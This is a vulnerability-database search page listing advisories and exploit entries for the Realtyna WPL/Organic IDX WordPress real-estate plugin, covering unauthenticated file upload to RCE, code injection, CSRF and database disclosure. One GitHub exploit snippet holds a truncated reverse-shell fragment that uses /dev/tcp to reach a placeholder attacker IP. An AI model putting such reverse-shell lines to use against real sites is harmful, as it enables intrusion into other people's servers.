Lucene search
+L

7 matches found

Nuclei
Nuclei
•added 2026/10/17 2:05 a.m.•23 views

Realtyna Organic IDX/WPL <= 5.2.0 - Unauthenticated Arbitrary File Upload

Realtyna Organic IDX plugin + WPL Real Estate plugin for WordPress = 5.2.0 contains an unrestricted file upload vulnerability caused by missing file type validation and static API credentials, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit...

9.8CVSS5.9AI score0.03971EPSS
SaveExploits2References3
Kitploit
Kitploit
•added 2026/10/15 4:22 p.m.•18 views

CVE-2026-14483_exploit

CVE-2026-14483 — Realtyna WPL / Organic IDX Unauthenticated Arbitrary File Upload → RCE Unauthenticated arbitrary file upload leading to RCE in the Realtyna WPL / Organic IDX WordPress plugin real-estate-listing-realtyna-wpl ≤ 5.2.0. The plugin registers an "I/O service" on the public WordPress...

9.8CVSS6.5AI score0.03971EPSS
SaveExploits2
Kitploit
Kitploit
•added 2026/10/13 2:41 a.m.•17 views

CVE-2026-13714

Realtyna WPL 5.3.0 - Unauthenticated RCE Exploit Description This exploit targets a critical vulnerability in Realtyna Organic IDX + WPL Real Estate plugin versions prior to 5.3.0. The plugin uses hardcoded credentials and allows unauthenticated file upload leading to Remote Code Execution RCE...

9.8CVSS6.7AI score0.00831EPSS
SaveExploits2
GithubExploit
GithubExploit
•added 2026/08/17 3:34 p.m.•37 views

Exploit for CVE-2026-13714

markdown Realtyna WPL & /dev/tcp/YOURIP/4444 0&1'" Pyt...

9.8CVSS6.1AI score0.00831EPSS
SaveExploits2
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2026/07/13 12:00 a.m.•9 views

CVE-2026-57811: Improper Control of Generation of Code

Improper Control of Generation of Code 'Code Injection' vulnerability in Realtyna Realtyna Organic IDX plugin real-estate-listing-realtyna-wpl allows Remote Code Inclusion.This issue affects Realtyna Organic IDX plugin: from n/a through = 5.2.0...

10CVSS5.8AI score0.00564EPSS
SaveExploits2References2
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2025/08/20 12:00 a.m.•9 views

CVE-2025-54052: Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery CSRF vulnerability in Realtyna Realtyna Organic IDX plugin real-estate-listing-realtyna-wpl allows PHP Local File Inclusion.This issue affects Realtyna Organic IDX plugin: from n/a through = 5.0.0...

7.5CVSS5.8AI score0.00213EPSS
SaveExploits0References1
Packet Storm
Packet Storm
•added 2018/12/10 12:00 a.m.•57 views

WordPress Real-Estate-Listing-Realtyna-Wpl 4.3.2 Database Disclosure

Exploit Title : WordPress Real-Estate-Listing-Realtyna-Wpl Plugins 4.3.2 Database Backup Disclosure Author Discovered By : KingSkrupellos from Cyberizm Digital Security Army Date : 08/12/2018 Vendor Homepage : realtyna.com wordpress.org/plugins/real-estate-listing-realtyna-wpl/ Software Download...

7.4AI score
SaveExploits0
Rows per page
Query Builder